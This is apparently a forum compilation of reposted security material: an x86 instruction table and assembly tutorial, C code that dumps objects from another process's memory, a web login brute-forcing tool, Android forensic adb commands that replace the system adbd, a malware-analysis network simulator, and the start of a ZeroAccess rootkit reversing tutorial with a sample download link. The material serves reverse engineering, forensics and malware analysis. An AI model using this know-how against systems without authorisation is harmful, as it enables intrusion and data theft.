[TR] [TD] PSHUFW [/TD] [TD] Shuffle Packed Words [/TD] [/TR] [TR] [TD] PSIGNB/PSIGNW/PSIGND [/TD] [TD] Packed SIGN [/TD] [/TR] [TR] [TD] PSLLW/PSLLD/PSLLQ [/TD] [TD] Shift Packed Data Left Logical [/TD] [/TR] [TR] [TD] PSRAW/PSRAD [/TD] [TD] Shift Packed Data Right Arithmetic [/TD] [/TR] [TR] [TD] PSRLDQ [/TD] [TD] Shift Double Quadword Right Logical [/TD] [/TR] [TR] [TD] PSRLW/PSRLD/PSRLQ [/TD] [TD] Shift Packed Data Right Logical [/TD] [/TR] [TR] [TD] PSUBB/PSUBW/PSUBD [/TD] [TD] Subtract Packed Integers [/TD] [/TR] [TR] [TD] PSUBQ [/TD] [TD] Subtract Packed Quadword Integers [/TD] [/TR] [TR] [TD] PSUBSB/PSUBSW [/TD] [TD] Subtract Packed Signed Integers with Signed Saturation [/TD] [/TR] [TR] [TD] PSUBUSB/PSUBUSW [/TD] [TD] Subtract Packed Unsigned Integers with Unsigned Saturation [/TD] [/TR] [TR] [TD] PTEST [/TD] [TD] Logical Compare [/TD] [/TR] [TR] [TD] PUNPCKHBW/PUNPCKHWD/PUNPCKHDQ/PUNPCKHQDQ [/TD] [TD] Unpack High Data [/TD] [/TR] [TR] [TD] PUNPCKLBW/PUNPCKLWD/PUNPCKLDQ/PUNPCKLQDQ [/TD] [TD] Unpack Low Data [/TD] [/TR] [TR] [TD] PUSHA/PUSHAD [/TD] [TD] Push All General-Purpose Registers [/TD] [/TR] [TR] [TD] PUSHF/PUSHFD [/TD] [TD] Push EFLAGS Register onto the Stack [/TD] [/TR] [TR] [TD] PXOR [/TD] [TD] Logical Exclusive OR [/TD] [/TR] [TR] [TD] RCL/RCR/ROL/ROR [/TD] [TD] Perform bit rotation [/TD] [/TR] [TR] [TD] RCPPS [/TD] [TD] Compute Reciprocals of Packed Single-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] RCPSS [/TD] [TD] Compute Reciprocal of Scalar Single-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] RDMSR [/TD] [TD] Read from Model Specific Register [/TD] [/TR] [TR] [TD] RDPMC [/TD] [TD] Read Performance-Monitoring Counters [/TD] [/TR] [TR] [TD] RDTSC [/TD] [TD] Read Time-Stamp Counter [/TD] [/TR] [TR] [TD] RDTSCP [/TD] [TD] Read Time-Stamp Counter and Processor ID [/TD] [/TR] [TR] [TD] REP/REPE/REPZ/REPNE/REPNZ [/TD] [TD] Repeat String Operation Prefix [/TD] [/TR] [TR] [TD] ROUNDPD [/TD] [TD] Round Packed Double Precision Floating-Point Values [/TD] [/TR] [TR] [TD] ROUNDPS [/TD] [TD] Round Packed Single Precision Floating-Point Values [/TD] [/TR] [TR] [TD] ROUNDSD [/TD] [TD] Round Scalar Double Precision Floating-Point Values [/TD] [/TR] [TR] [TD] ROUNDSS [/TD] [TD] Round Scalar Single Precision Floating-Point Values [/TD] [/TR] [TR] [TD] RSM [/TD] [TD] Resume from System Management Mode [/TD] [/TR] [TR] [TD] RSQRTPS [/TD] [TD] Compute Reciprocals of Square Roots of Packed Single-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] RSQRTSS [/TD] [TD] Compute Reciprocal of Square Root of Scalar Single-Precision Floating-Point Value [/TD] [/TR] [TR] [TD] SAHF [/TD] [TD] Store AH into Flags [/TD] [/TR] [TR] [TD] SAL/SAR/SHL/SHR [/TD] [TD] Shift [/TD] [/TR] [TR] [TD] SCAS/SCASB/SCASW/SCASD [/TD] [TD] Scan String [/TD] [/TR] [TR] [TD] SFENCE [/TD] [TD] Store Fence [/TD] [/TR] [TR] [TD] SGDT [/TD] [TD] Store Global Descriptor Table Register [/TD] [/TR] [TR] [TD] SHLD [/TD] [TD] Double Precision Shift Left [/TD] [/TR] [TR] [TD] SHRD [/TD] [TD] Double Precision Shift Right [/TD] [/TR] [TR] [TD] SHUFPD [/TD] [TD] Shuffle Packed Double-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] SHUFPS [/TD] [TD] Shuffle Packed Single-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] SIDT [/TD] [TD] Store Interrupt Descriptor Table Register [/TD] [/TR] [TR] [TD] SLDT [/TD] [TD] Store Local Descriptor Table Register [/TD] [/TR] [TR] [TD] SMSW [/TD] [TD] Store Machine Status Word [/TD] [/TR] [TR] [TD] SQRTPS [/TD] [TD] Compute Square Roots of Packed Single-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] SQRTSD [/TD] [TD] Compute Square Root of Scalar Double-Precision Floating-Point Value [/TD] [/TR] [TR] [TD] SQRTSS [/TD] [TD] Compute Square Root of Scalar Single-Precision Floating-Point Value [/TD] [/TR] [TR] [TD] STC [/TD] [TD] Set Carry Flag [/TD] [/TR] [TR] [TD] STD [/TD] [TD] Set Direction Flag [/TD] [/TR] [TR] [TD] STI [/TD] [TD] Set Interrupt Flag [/TD] [/TR] [TR] [TD] STMXCSR [/TD] [TD] Store MXCSR Register State [/TD] [/TR] [TR] [TD] STOS/STOSB/STOSW/STOSD/STOSQ [/TD] [TD] Store String [/TD] [/TR] [TR] [TD] SUB [/TD] [TD] Subtract [/TD] [/TR] [TR] [TD] SUBPD [/TD] [TD] Subtract Packed Double-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] SUBPS [/TD] [TD] Subtract Packed Single-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] SUBSD [/TD] [TD] Subtract Scalar Double-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] SUBSS [/TD] [TD] Subtract Scalar Single-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] SWAPGS [/TD] [TD] Swap GS Base Register [/TD] [/TR] [TR] [TD] SYSCALL [/TD] [TD] Fast System Call [/TD] [/TR] [TR] [TD] SYSENTER [/TD] [TD] Fast System Call [/TD] [/TR] [TR] [TD] SYSEXIT [/TD] [TD] Fast Return from Fast System Call [/TD] [/TR] [TR] [TD] SYSRET [/TD] [TD] Return From Fast System Call [/TD] [/TR] [TR] [TD] TEST [/TD] [TD] Logical Compare [/TD] [/TR] [TR] [TD] UCOMISD [/TD] [TD] Unordered Compare Scalar Double-Precision Floating-Point Values and Set EFLAGS [/TD] [/TR] [TR] [TD] UCOMISS [/TD] [TD] Unordered Compare Scalar Single-Precision Floating-Point Values and Set EFLAGS [/TD] [/TR] [TR] [TD] UD2 [/TD] [TD] Undefined Instruction [/TD] [/TR] [TR] [TD] UNPCKHPD [/TD] [TD] Unpack and Interleave High Packed Double-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] UNPCKHPS [/TD] [TD] Unpack and Interleave High Packed Single-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] UNPCKLPD [/TD] [TD] Unpack and Interleave Low Packed Double-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] UNPCKLPS [/TD] [TD] Unpack and Interleave Low Packed Single-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] VERR/VERW [/TD] [TD] Verify a Segment for Reading or Writing [/TD] [/TR] [TR] [TD] VMCALL [/TD] [TD] Call to VM Monitor [/TD] [/TR] [TR] [TD] VMCLEAR [/TD] [TD] Clear Virtual-Machine Control Structure [/TD] [/TR] [TR] [TD] VMLAUNCH/VMRESUME [/TD] [TD] Launch/Resume Virtual Machine [/TD] [/TR] [TR] [TD] VMPTRLD [/TD] [TD] Load Pointer to Virtual-Machine Control Structure [/TD] [/TR] [TR] [TD] VMPTRST [/TD] [TD] Store Pointer to Virtual-Machine Control Structure [/TD] [/TR] [TR] [TD] VMREAD [/TD] [TD] Read Field from Virtual-Machine Control Structure [/TD] [/TR] [TR] [TD] VMWRITE [/TD] [TD] Write Field to Virtual-Machine Control Structure [/TD] [/TR] [TR] [TD] VMXOFF [/TD] [TD] Leave VMX Operation [/TD] [/TR] [TR] [TD] VMXON [/TD] [TD] Enter VMX Operation [/TD] [/TR] [TR] [TD] WAIT/FWAIT [/TD] [TD] Wait [/TD] [/TR] [TR] [TD] WBINVD [/TD] [TD] Write Back and Invalidate Cache [/TD] [/TR] [TR] [TD] WRMSR [/TD] [TD] Write to Model Specific Register [/TD] [/TR] [TR] [TD] XADD [/TD] [TD] Exchange and Add [/TD] [/TR] [TR] [TD] XCHG [/TD] [TD] Exchange Register/Memory with Register [/TD] [/TR] [TR] [TD] XGETBV [/TD] [TD] Get Value of Extended Control Register [/TD] [/TR] [TR] [TD] XLAT/XLATB [/TD] [TD] Table Look-up Translation [/TD] [/TR] [TR] [TD] XOR [/TD] [TD] Logical Exclusive OR [/TD] [/TR] [TR] [TD] XORPD [/TD] [TD] Bitwise Logical XOR for Double-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] XORPS [/TD] [TD] Bitwise Logical XOR for Single-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] XRSTOR [/TD] [TD] Restore Processor Extended States [/TD] [/TR] [TR] [TD] XSAVE [/TD] [TD] Save Processor Extended States [/TD] [/TR] [TR] [TD] XSETBV [/TD] [TD] Set Extended Control Register [/TD] [/TR] [/TABLE] Sursa: x86/x64 Instruction Set Reference

x86 Assembly for Userland Applications: A Hands-On Approach 1. Introduction 2. What is Assembly? 3. What is the Purpose of Learning Assembly? 4. Getting to know the x86 Architecture 5. Bits, Bytes and Numbers 6. Bit Operations 7. Signed Integers 8. The First Steps 9. Writing Windows Applications Using x86 32-bit Assembly 9.1 MASM 9.2 FASM 9.3 NASM [*]10. Writing Linux/BSD Applications Using x86 32-bit Assembly [*] 10.1 as [*]11. Partial Registers [*]12. Addresses [*]13. Control Structures [*]14. Multiplication and Division of Integers [*]15. Floating Point Operations [h=1]Introduction[/h] This document is an introduction to creating programs for microprocessors of the x86 architecture family - in particular 32-bit code. The reader is expected to be familiar with programming in C/C++ (or similar languages such as Java at least) and the essential API of the operating system they are using. Some mathematical knowledge up to highschool/university level is essential for understanding a lot of things aswell. I will try not to be too OS specific but the environments I am going to focus on in this document are Windows, Linux and BSD. Pure knowledge of assembly in itself is useless if you do not know how to combine it with the API of the operating system you are going to run it on so I want to make sure that this will be demonstrated to a certain extent. It is not that different from the way you would do it in a high level programming language such as C++ so it is not difficult to understand. [h=1]What is Assembly?[/h] Assembly (short ASM) is the lowest level programming possible - if you are a programmer and you want to get as close to the hardware as you can get then this is the place you want to be. In assembly code you get to control every single instruction that your CPU (central processing unit) is going to execute. There are different assembly languages for different microprocessor architectures and all of them are different from each other. Usually they are totally incompatible so you will have to write assembly code that is specific to the particular architecture you want your program to run on. In assembly you write instructions using the ASCII character set which directly represent machine code instructions that are executed by your processor. The names of these instructions are usually extremely short and are often abbreviations of full names. These assembly instruction names are called mnemonics. Before your microprocessor can actually run the program you have written in assembly you will have to run it through a program which translates all the mnemonics and arguments to numerical machine code. This program is called an assembler. Assemblers often also support more features than just the pure instructions to make the jobs easier for the programmers but you will see how they do that later on. [h=1]What is the Purpose of Learning Assembly?[/h] This is a very important question and subject to a lot of discussion. My answer to this question is a list of reasons, really. Better understanding of what goes on at the lowest level can make you a better programmer at a higher level. It allows you to see what goes on behind the scenes and it often gives you a totally new perspective on things. It has its uses in writing high performance parts of high level language programming where you need to use features of your processor that are not easily accessible in that high level language. Knowing assembly is obviously also necessary to be able to write compilers for a particular microprocessor architecture which convert high level language code to machine instructions. The truth is that most people learn x86 ASM nowadays to crack commercial software, to reverse engineer closed source programs and to write cheats for computer games. Cracking is the one that made me learn it but I have to admit that I never got particularly good at it and I got totally distracted from my original goal in the process of understanding how it works. It is my experience that it is essential to learn how to write x86 ASM yourself first in order to be successful at cracking and reverse engineering. Knowing how to manually translate a C++ program to assembly is a valuable skill to have for this purpose. [h=1]Getting to know the x86 Architecture[/h] So, what are we dealing with here? The IA-32 microprocessor is basically a register machine which uses a CISC (complex instruction set computer) instruction set. At first I am going to explain what a register machine is. After that I will move on to the CISC part. A register machine is a computing device which stores results of arithmetic operations and such primarily in so called registers. These are small but highly efficient binary storage units inside the processor which can hold integer values. When you are doing assembly programming you deal with them all the time. They are incapable of holding a lot of data at once but they are essential as temporary placeholders used in most instructions executed by the processor. In the terms of the memory hierarchy of contemporary computers they are at the very top. The hierarchy looks like this: CPU registers CPU cache RAM (random access memory) HDD (hard disk drive storage) External storage, even optical media like CDs, DVDs, BluRay disks and such Registers hold minimal amounts of data and are extremely fast. The cache holds far larger amounts of data but it is still pretty fast. The RAM holds even larger amounts of data and it is far slower (in terms of both bandwidth and latency) than any memory operation inside a CPU. Hard disks have an even larger capacity than your RAM and they are very slow in comparison to the objects at the top of the hierarchy. At this point I should probably briefly explain what the CPU cache actually is. It is a small high performance storage unit inside your CPU to which chunks of memory from the RAM are copied whenever you perform memory accesses. This way the CPU does not have to access the RAM over and over again when it is processing the same piece of data. This speeds up the execution of code a lot - RAM access is vey slow in comparison to cache access after all. In reality this cache is actually not a single unit but it is divided into multiple cache levels. The Level 1 Cache is the smallest but fastest one. The next level is bigger but slower and so on. Caching is not of much interest to somebody who is new to assembly, though. I might cover this topic later in sections with deal with optimising code for speed. Let us get back to the CISC part I mentioned earlier. There are two major microprocessor architecture philosophies known as RISC (reduced instruction set computing) and CISC (complex instruction set computing). In RISC architectures instructions are rather simple and perform very fundamental operations. RISC instructions are incapable of performing multiple actions at once but they are very fast. The instruction format for RISC architectures is usually quite uniform and each instruction takes up the same number of bytes in memory. This makes them very easy to decode for the processor. CISC architectures generally feature complex instructions which perform multiple tasks sequentially, like loading a value from memory, peforming an arithmetic operation on it and then writing the result of the operation into memory. In a RISC architecture this would be divided into multiple instructions. CISC instructions are usually of variable length and they are very complicated to decode for the CPU. Tutorial complet, merita citit: http://siyobik.info.gf/main/documents/view/x86-tutorial/

[h=1]Extracting Objects from a Running Process[/h]February 11, 2013 By PnUic Few days ago two new 0-days have been spotted in the wild: CVE-2013-0633 and CVE-2013-0634, both of them involving a .swf file, possibly embedded inside a Word Document. It might be interesting to understand how to dump a similar resource while the attacked process is running, after all the obfuscation layers are cleared. Clearly this same technique can be expanded to extract any type of object from any process, as an example whenever we need to simply dump a memory area, or when we need to extract (or find) an entire object. While memory dumpers are usually common tools, it might be interesting to understand how the dumping process works. So let’s dig a bit deeper. [h=2]Step 1: Understanding Windows Address Space[/h] The virtual address space of a process is the set of virtual memory addresses that the process is allowed to use. In the default Virtual Address Space for 32-bit Windows processes, the lower 2GB: from 0×0 through 0x7FFFFFFF, are assigned to the running process while the other 2GB are normally used by the system. More information: Virtual Address Space -Virtual Address Space in 64-bit Windows. [h=2]Step 2: APIs to get system information and to access a process memory[/h] [h=3]2.1 Processes list[/h] In order to read a given process memory, we need to acquire its handle and in turn, to do that we need to iterate the list of processes until we find the one we are looking for. Process enumeration is performed through the use of EnunProcesses() API, the code is quite simple: if(!EnumProcesses(nProcess, //processes list sizeof(nProcess), &nByteOfProc)) {return false;} nOfProcesses = nByteOfProc / sizeof(DWORD); //for each process for (i = 0; i < nOfProcesses; i++ ) { // Get a handle to the process. hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, nProcess[i] ); // Get the process name. if ( hProcess != NULL) { if (EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded) ) { //get application filename GetModuleBaseName(hProcess, hMod, szProcessName, sizeof(szProcessName)/sizeof(TCHAR)); //Has it found the right process? if(!_tcscmp(szProcessName, procName)) { // Do whatever we need with the newly found process ... } } CloseHandle(hProcess); } } [h=3]2.2 Memory sections[/h] Once we have access to memory process throungh the handle, we need to get information on its sections in order to find in a signature (that is: a sequence of bytes). That’s how we’ll proceed: Get the system minimum and maximum address of a process using GetSystemInfo Call VirtualQueryEx to retrieve information about sections within the virtual address space of a specified process, by section’s base address. System minimum address is the the first section base address. In the MEMORY_BASIC_INFORMATION structure there are info about memory section: size, base address and more; nextSectionBaseAddr = currentBaseAddress + currentSectionSize Copy in a locally allocated process memory the target process’ section (ReadProcessMemory) to find the desired signature with a simple memcmp(). Here it is the code to find a sequence of bytes in memory: the SWF signature (the entire project can be downloaded at the end of the article). TCHAR buffer[] = _T("FWS"); //the signature can also be: CWS and ZWS, see SWF file format specification GetSystemInfo(&sysInfo); memBase = sysInfo.lpMinimumApplicationAddress; memMax = sysInfo.lpMaximumApplicationAddress; //until max memory address or until buffer found while(memBase < memMax) { //get section info VirtualQueryEx(hProcess, memBase, &mbi, sizeof(MEMORY_BASIC_INFORMATION)); //if section is not reserved if(mbi.State != MEM_RESERVE ) { //I copy it: I alloc a memory buffer in local process .. allocatedMem = (BYTE *) VirtualAlloc(NULL, mbi.RegionSize, MEM_COMMIT, PAGE_READWRITE); if(allocatedMem != NULL) { //.. and copy bytes for more scan velocity if(ReadProcessMemory(hProcess, memBase, allocatedMem, mbi.RegionSize, &jnk)) { storedBaseAddr = baseAddr = allocatedMem; maxAddr = (BYTE*) ( ((SIZE_T)baseAddr + mbi.RegionSize) - lenBuffer); //and find the buffer into section while(baseAddr < maxAddr) { if(memcmp((LPVOID)baseAddr, buffer, lenBuffer) == 0) { //I found it!! _tprintf(_T("\tBuffer found at found at %p\n"), ( (SIZE_T)memBase + (baseAddr-storedBaseAddr)) ); //try to dump! DWORD objSize = dumpObj(baseAddr); //go ahead the object baseAddr = (BYTE*) ((SIZE_T)baseAddr + objSize); } else baseAddr++; //next byte } } //free memory VirtualFree(allocatedMem, 0, MEM_RELEASE); } } //next section base address memBase = (LPVOID) ((SIZE_T)memBase + mbi.RegionSize); }//the signature to find [h=3]2.3 Dump the object[/h] Once we have found a signature in memory, we can dump the object, provided we know its size and where to find this information: according to SWF specification the length field is an UInt32 (DWORD) at start+4: stringBaseAddr += 4; //get file size DWORD size = *((DWORD*)stringBaseAddr); _tprintf(_T("\tFile size: %u bytes\n"), size); //go to object start addr stringBaseAddr -= 4; //create a new file HANDLE hFile = CreateFile(outputFileName,GENERIC_WRITE, FILE_SHARE_WRITE, 0,CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); if (hFile == INVALID_HANDLE_VALUE) { _tprintf(_T("\tImpossible to create dump file\n")); return; } //and write in the object if(WriteFile(hFile, stringBaseAddr, size, &jnk, NULL) == false) { CloseHandle(hFile); DeleteFile(outputFileName); _tprintf(_T("\tImpossible to dump the file\n\n")); } else { CloseHandle(hFile); _tprintf(_T("\tFile dumped!!\n\n")); }//addr of "FileLength" field: That’s all! Download project’s code. Pn Sursa: Extracting Objects from a Running Process

WebSlayer is a tool designed for brute forcing Web Applications, it can be used for finding resources not linked (directories, servlets, scripts,files, etc), brute force GET and POST parameters, bruteforce Forms parameters (User/Password), Fuzzing, etc. The tools has a payload generator and an easy and powerful results analyzer. You can perform attacks like: Predictable resource locator, recursion supported (Discovery) Login forms brute force Session brute force Parameter brute force Parameter fuzzing and injection (XSS, SQL) Basic and Ntml authentication brute forcing Features: Recursion Encodings: 15 encodings supported Authentication: supports Ntml and Basic Multiple payloads: you can use 2 payloads in different parts Proxy support (authentication supported) For predictable resource location it has: Recursion, common extensions, non standard code detection Multiple filters for improving the performance and for producing cleaner results Live filters Multithreads Session saving Integrated browser (webKit) Time delay between requests Attack balancing across multiple proxies Predefined dictionaries for predictable resource location, based on known servers (Thanks to Dark Raver, OPEN-LABS) This site will be used to host the project files, and for issues management. Official OWASP: site Download: https://code.google.com/p/webslayer/downloads/list Sursa: https://code.google.com/p/webslayer/

[h=2]ADEL – Android Data Extractor Lite[/h] We developed a tool named ADEL which is meant as an abbreviation of “Android Data Extractor Lite”. ADEL was developed for versions 2.x of Android and is able to automatically dump selected SQLite database files from Android devices and extract the contents stored within the dumped files. In this section we describe the main tasks of ADEL and what steps the tool actually performs. However, there are conditions that must apply for ADEL to work correctly. These conditions are stated in the following sections, corresponding to the relevant tasks. A flow chart showing the structure of ADEL is depicted in the following figure: During the development of ADEL we primarily took into account the following design guidelines: Forensic principles: ADEL is intended to treat data in a forensically correct way. This goal is reached by the fact that activities are not conducted directly on the phone but on a copy of the databases. This procedure assures that data does not become changed, neither by the users of ADEL nor by an uncompromised operating system. In order to proof the forensic correctness of ADEL, hash values are calculated prior and after each analysis, to guarantee that dumped data did not become changed during analysis. Extendibility: ADEL has been modularly built and contains two separate modules: the analysis and the report module. Predefined interfaces exist between these modules and both of them can be easily amended by additional functions. The modular structure allows for dumping and analyzing further databases of smartphones without great effort and facilitates updates of the system in the future. Usability: The use of ADEL is intended to be as simple as possible to allow its use by both qualified persons and non-experts. At best, the analysis of the mobile phone is conducted in an autonomous way so that the user does not receive any notice of internal processes. Moreover, the report module creates a detailed report in a readable form, including all of the decoded data. During the execution, ADEL optionally writes an extensive log file where all of the important steps that were executed are traced. ADEL makes use of the Android Software Development Kit (Android SDK) and especially the adb deamon to dump database files to the investigator's machine. To extract contents contained within a SQLite database file ADEL parses the low-level data structures. After having opened the database file that is to be parsed in read-only mode, ADEL reads the database header (first 100 bytes of the file) and extracts the values for each of the header fields. Not all, but some of the values in the header fields are necessary to be able to parse the rest of the database file. An important value is the size of the pages in the database file which is required for parsing the b-tree structures (page-wise). After having read the database header fields, ADEL parses the b-tree that contains the “sqlite_master” table for which the first page of the database always is the root page. The SQL CREATE statement and the page number of the b-tree root page are extracted for each of the database tables. Additionally, the SQL CREATE statement is further analyzed to extract the name and the data type for each column of the corresponding table. Finally the complete b-tree structure is parsed for each table, beginning at the b-tree root page that was extracted from the “sqlite_master” table. Every leaf page of the b-tree is identified by following the pointers of all of the interior pages. Finally the row contents of each table are extracted from the cells found in any leaf page that belongs to the same table b-tree. Within this section we address the report module and its functionalities. In the current development state, the following databases are forensically treated and parsed: telephone and SIM-card information (e. g. IMSI and serial number) telephone book and call lists, calendar entries, SMS messages, GPS locations from different sources on the smartphone. Data retrieved this way is written to an XML-File by the report module in order to ease further use and depiction of the data. As the analysis module, it can be easily updated regarding possible changes in future Android versions or in the underlying database schemas. Therefore, we have created different tuple – e. g. [table, row, column] – to define the data that is exchanged between both modules. If the database design changes in the future, only the tuple have to be adapted. The report module automatically creates XML-files for each of the data types listed above. In addition, a report is created which contains all data extracted from the analyzed databases. With the help of a XSL-file the report will be graphically refurbished. All files created by ADEL are stored in a subfolder of the current project. Changes since the first version of ADEL presented on May 2011: Since many manufactures opened their boot loader it is no longer necessary to exploit the Android system to gain root access in order to be able to execute ADEL correctly. Now it is sufficient to modify the original kernel in a way so that a root-shell is included. Due to this procedure, the amount of modified data on a smartphone is significantly reduced as compared to other approaches, for example flashing the smartphone with a custom ROM. As soon as the smartphone has been updated with the modified kernel, the following changes have to be made manually in order to guarantee that the data given to the investigator are trustworthy and satisfy integrity: The original, untrusted adb-deamon on the smartphone is replaced by a different, trustful copy. The commands listed below can be used to copy a trustful adb-deamon onto the smartphone and, subsequently, remount the system partition to make it writeable. If this step is successfully performed the existing deamon is backed up and the new one is moved to the same place. Afterwards the partition is mounted to read-only again in order to prevent further changes. As a final step the running (original) adb-deamon is terminated. adb push adbd /sdcard/ adb shell su - mount -orw,remount / mv /sbin/adbd /sbin/adbd.old mv /sdcard/adbd /sbin/adbd mount -oro,remount / kill $(ps | grep adbd) Additionally to the above fundamental change to the ADEL framework, new functionality regarding the retrieval and analysis of location information has been added. Now we are able to retrieve location data from the well known cache-files as well as from some of the most downloaded apps (like twitter and Facebook) and we are extracting GPS-coordinates out of the EXIF data from pictures. Here is an example how the result looks like: Changes since the second version of ADEL presented on January 2012: ADEL now makes use of a custom recovery image based on the Clockworkmod-Recovery. Due to this change you do not need to modify the kernel or the adb daemon anymore. Furthermore, on some newer smartphones you can load the modified recovery to RAM via fastboot, so you don't need to do any persistent changes to the smartphone. Where to get ADEL: If you are interested in testing ADEL or if you have any questions please contact me via email. A open-source version of ADEL is also available on GitHub. Sursa: forensic blog

[h=1]FakeNet[/h]andyhonig Windows Network Simulation tool for Malware Analysis [h=2]Description[/h] FakeNet is Windows network simulation tool designed for malware analysis. It redirects all traffic leaving a machine to the localhost (including hard-coded IP traffic and DNS traffic) and implements several protocols to ensure that malicious code continues to execute and can be observed by an analyst. The tool supports DNS, HTTP, and SSL protocols and provides a python extension interface for implementing new or custom protocols. It also the capability to listen for traffic to any port as well as create packet capture on the localhost. Right now the tool only supports WinXP Service Pack 3. The tool runs fine on Windows Vista/7 although certain features will be automatically disabled. FakeNet Web Site Download: http://sourceforge.net/projects/fakenet/files/latest/download

[h=1]Step-by-Step Reverse Engineering Malware: ZeroAccess / Max++ / Smiscer Crimeware Rootkit[/h]Giuseppe Bonfa November 12, 2010 (quick plug – to all current & future reverse engineers – check out our Reverse Engineering Training Course. We’d love to publish your work next!) Part 1: Introduction and De-Obfuscating and Reversing the User-Mode Agent Dropper Part 2: Reverse Engineering the Kernel-Mode Device Driver Stealth Rootkit Part 3: Reverse Engineering the Kernel-Mode Device Driver Process Injection Rootkit Part 4: Tracing the Crimeware Origins by Reversing the Injected Code [h=2]SUMMARY[/h] This four part article series is a complete step-by-step tutorial on how to reverse engineer the ZeroAccess Rootkit. ZeroAcess is also known as the Smiscer or Max++ rootkit. You can either read along to gain an in-depth understand the thought process behind reverse engineering modern malware of this sophistication. The author prefers that you download the various tools mentioned within and reverse the rookit yourself as you read the article. If you would like to use the malware sample used in these articles, download it here: Max++ Malware. Note that this archive is password protected and the password is infected InfoSec Institute would classify ZeroAccess as a sophisticated, advanced rootkit. It has 4 main components that we will reverse in great detail in this series of articles. ZeroAccess is a compartmentalized crimeware rootkit that serves as a platform for installing various malicious programs onto victim computers. It also supports features to make itself and the installed malicious programs impossible for power-users to remove and very difficult security experts to forensically analyze. At the conclusion of the analysis, we will trace the criminal origins of the ZeroAccess rootkit. We will discover that the purpose of this rootkit is to set up a stealthy, undetectable and un-removable platform to deliver malicious software to victim computers. We will also see that ZeroAccess is being currently used to deliver FakeAntivirus crimeware applications that trick users into paying $70 to remove the “antivirus”. It could be used to deliver any malicious application, such as one that steals bank and credit card information in the future. Further analysis and network forensics supports that ZeroAccess is being hosted and originates from the Ecatel Network, which is controlled by the cybercrime syndicate RBN (Russian Business Network). Symantec reports that 250,000+ computers have been infected with this rootkit. If 100% of users pay the $70 removal fee, it would net a total of $17,500,000. As it is not likely that 100% of users will pay the fee, assuming that perhaps 30% will, resulting $5,250,000 in revenue for the RBN cybercrime syndicate. It has the following capabilities: Modern persistence hooks into the OS – Make it very difficult to remove without damaging the host OS Ability to use a low level API calls to carve out new disk volumes totally hidden from the infected victim, making traditional disk forensics impossible or difficult. Sophisticated and stealthy modification of resident system drivers to allow for kernel-mode delivery of malicious code Advanced Antivirus bypassing mechanisms. Anti Forensic Technology – ZeroAccess uses low level disk and filesystem calls to defeat popular disk and in-memory forensics tools Serves as a stealthy platform for the retrieval and installation of other malicious crimeware programs Kernel level monitoring via Asynchronous Procedure Calls of all user-space and kernel-space processes and images, and ability to seamlessly inject code into any monitored image In this tutorial, our analysis will follow the natural execution flow for a new infection. This will result in a detailed chronology of the infection methodology and “workflow” that the rootkit uses to infect hosts. This conceptual workflow is repeated in many other advanced rootkit that have been analyzed, so it behooves you to understand this process and therefore be able to apply it to new malware reversing situations. Usually, when a rootkit infects a host, the workflow is structured as follows: Infection vector allows for rootkit agent reaches victim’s system. (Drive-by-download, client side exploit or a dropper) User-mode agent execution Driver executable decryption and execution System hiding from Kernel-mode. Establishment on the host and Kernel-mode level monitoring/data-stealing. Sending of stolen data in a covert data channel. Our analysis of ZeroAccess is split into a series of articles: Part 1: Introduction and De-Obfuscating and Reversing the User-Mode Agent Dropper Part 2: Reverse Engineering the Kernel-Mode Device Driver Stealth Rootkit Part 3: Reverse Engineering the Kernel-Mode Device Driver Process Injection Rootkit Part 4: Tracing the Crimeware Origins of ZeroAccess Rootkit by Reversing the Injected Code Our analysis starts from analyzing the User-mode Agent and finishes at Kernel-mode where the rootkit drops two malicious device drivers. Step-by-step Analysis The ZeroAccess rootkit comes in the form of a malicious executable that delivered via infected Drive by Download Approach. Drive-by download means three things, each concerning the unintended download of computer software from the Internet: Downloads which a person authorized but without understanding the consequences (e.g. downloads which install an unknown or counterfeit executable program, ActiveX component, or Java applet). Any download that happens without a person’s knowledge. Download of spyware, a computer virus or any kind of malware that happens without a person’s knowledge. Drive-by downloads may happen when visiting a website, viewing an e-mail message or by clicking on a deceptive pop-up window by clicking on the window in the mistaken belief that, for instance, an error report from the computer itself is being acknowledged, or that an innocuous advertisement pop-up is being dismissed. In such cases, the “supplier” may claim that the person “consented” to the download although actually unaware of having started an unwanted or malicious software download. Websites that exploit the Windows Metafile vulnerability may provide examples of drive-by downloads of this sort. ZeroAccess has some powerful rootkit capabilities, such as: Anti FileSystem forensics by modifying and infecting critical system drivers (disk.sys, atapi.sys) as well as PIC driver object stealing and IRP Hooking. Infecting of System Drivers. User-mode Process Creation interception and DLL Injection, from KernelMode. DLL Hiding and Antivirus bypassing. Extremely resistant to Infection Removal. Part 1: Reverse Engineering the User-Mode Agent/Dropper The rootkit is obfuscated via a custom packed executable typically called ‘Max++ downloader install_2010.exe’. The hashes for this file are: MD5: d8f6566c5f9caa795204a40b3aaaafa2 SHA1: d0b7cd496387883b265d649e811641f743502c41 SHA256: d22425d964751152471cca7e8166cc9e03c1a4a2e8846f18b665bb3d350873db Basic analysis of this executable shows the following PE sections and imports: Sections: .text .rdata .rsrc Imports: COMCTL32.dll The Import Table is left in a very poor condition for analysis. Typically this means that additional and necessary functions will be imported at Run Time. Let’s now check the Entry Point Code: The start code is pretty standard, except for an interesting particular, as you can see at 00413BD5 we have an int 2Dh instruction. The interrupt 2Dh instruction is mechanism used by Windows Kernel mode debugging support to access the debugging interface. When int 2Dh is called, system creates an EXCEPTION_RECORD structure with an exception code of STATUS_BREAKPOINT as well as other specific informations. This exeception is processed by calling KiDebugRoutine. Int 2Dh is used by ntoskrnl.exe to interact with DebugServices but we can use it also in user-mode. If we try to 